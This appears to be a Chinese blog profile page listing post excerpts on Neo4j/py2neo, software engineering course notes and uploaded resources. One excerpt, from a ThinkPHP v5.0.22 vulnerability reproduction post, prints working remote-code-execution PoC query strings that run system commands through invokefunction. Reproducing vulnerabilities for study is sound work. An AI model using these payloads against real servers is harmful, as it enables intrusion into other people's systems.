- 博客(11)
- 资源 (6)
- 收藏
- 关注
原创 Neo4j、CQL与Py2neo
文章目录Neo4j数据模型Neo4j CQLCREATEMatch-ReturnWHEREDELETESETREMOVEORDERUNIONIN操作符NULL值字符串函数TOUPPER/TOLOWERSUBSTRINGAGGREGATION聚合函数COUNTMAX,MIN,AVG,MIN 同理关系函数STARTNODE/ENDNODEID/TYPEUNIQUE约束py2neo图数据类型NodeRelationshipPathSubgraph图数据库Graph对象匹配节点与关系NodeMatcherNodeM
2020-11-24 17:18:21 518
原创 ThinkPHP v5.0.22 远程代码漏洞复现分析
漏洞描述漏洞类型:远程代码执行漏洞POC:?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1环...
2020-05-04 09:38:41 2913
原创 软件工程学习笔记——第一章 概述
前言 本笔记基于东北大学计算机专业软件工程课程。于本人学习和复习软件工程课程期间所记录。禁止转载(尤其禁止转载于百度) 笔记涵盖绝大多数内容。个人能力有限,如有错误多多包涵! 希望对学弟学妹们学习复习或者对软件工程学习有兴趣的朋友有所帮助!第一章 概述部分软件工程:是以质量为核心,以满足客户需求为基础,以提高生产率和降低开发成本为目的,研究、建立和应用的贯穿整个软...
2018-06-09 01:57:32 1295
原创 软件工程学习笔记——第八章 软件项目管理方法
项目管理对人力和资源进行管理、分配和调度的过程以架构为中心的项目管理 软件度量一个产品过程的某个属性的程度、数量、尺寸、容量等的定量指标软件特征量面向尺寸的特征量面向功能的特征量 计算功能点 FP =count_total×(0.65 + 0.01×∑Fi)软件开发成本和工作量的估计EV=(Sopt+4Sm+SPress)/6构造式成本模型COCOMO 软件计划和进度控制 人力资源管理双塔结构 ...
2018-06-09 01:52:03 1162
原创 软件工程学习笔记——第七章 软件实施与测试方法
编码将软件设计结果转换成用某种程序设计语言书写的程序规范命名名副其实 避免误导 做有意义的区分 省略一些传统标记 类名 方法名函数短小精悍 一件事 参数少 好名字 无副作用 避免输出参数 异常处理 适度结构化注释重构在不改变代码外在行为的前提下,对代码做出修改,以改进程序的内部结构集成是指将单独的软件构件合并成一个整体的软件系统。集成分为集成子系统和集成系统两个级别部署是为确保最终用户可以正常使用...
2018-06-09 01:50:51 1558
原创 软件工程学习笔记——第六章 软件设计方法
设计的总体原则软件架构设计反映系统整体的组织结构和基本特征• 软件的层次结构• 模块相互作用的方式 • 全局的、重要的数据变量和数据结构 • 数据库的逻辑结构 • 接口详细设计• 模块逻辑的详细设计• 系统数据结构的设计 • 系统数据库结构的设计• 系统-人机接口的设计分治架构设计->将系统分解为一组子系统或模块,以及子系统或模块之间的接口。 详细设计->子系统或模块被再次细分为子模块...
2018-06-09 01:48:41 8448
原创 软件工程学习笔记——第五章 需求分析方法-1
需求分析的原则循序渐进需求收集,需求分析(不同时期占比不同)采集需求->整理需求->建立需求分析模型->编写需求规约文档->复审自顶向下,逐层分解横向分解:多个子功能纵向分解:一个功能不断细分与实现分离着重描述系统必须做什么,而不是如何去做系统定义需求属性每个需求都有类型、原因、开发优先级、风险、客户满意度、客户不满意度、依赖关系、冲突关系,以及来源等属性可验证性证明所开发...
2018-06-09 01:35:23 1659
原创 软件工程学习笔记——第四章 问题定义和可行性研究方法
问题定义软件开发过程当中的一个定义要解决的问题并确定系统范围的活动。较小的投入要做什么,为什么要做早期判断达成共识 可行性研究以相对短的时间和相对低的成本来确定给定的问题在其约束条件内是否有解、有几种解以及哪个是最佳解基础性分析->提出方案->风险评估->制订软件开发计划和市场营销计划->推出最后结论 成本/效益分析运营效益 ≧ 启动成本 + 运营成本分析方法:投资回收分析...
2018-06-09 01:28:44 2517
原创 软件工程学习笔记——第三章 软件过程模型
软件过程模型 线性顺序模型:传统生命周期模型分析->设计->编码->测试瀑布模型反馈机制与用户的交互性差反馈效果有限V模型DoD模型(国防部模型)圆形模型RAD模型(快速应用开发模型)多个小组并行开发演进系列模型:原型模型(不好)边建边改(不好)否认了需求分析和设计的重要性,没有明确的目标,无法控制时间和成本增量模型在上一个版本的基础上,做一些增量首先开发基本部分,然后逐步...
2018-06-09 01:27:15 1244
原创 软件工程学习笔记——第二章 过程和活动
软件工程三要素:过程、方法、工具过程:软件过程是软件工程项目管理控制的基础;定义一个框架,这个框架规定了软件开发的相关活动,以及每个活动的任务、涉众、交付物和步骤等要素;构成了软件项目管理的基础方法:为建造软件提供技术上的解决方法;覆盖面很广,包括需求分析、设计建模、编程、测试、部署和项目工具:为过程和方法提供自动化或半自动化的支持,以提高开发效率、开发能力,同时也可以更好地理解SE理论 原则:抽...
2018-06-09 01:23:28 1235
东北大学操作系统实验报告+源代码+流程图源文件+课件
2018-07-17
C语言文法流程图 --- 编译原理
2018-06-08
C语言文法流程图 - 编译原理
2018-06-08
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人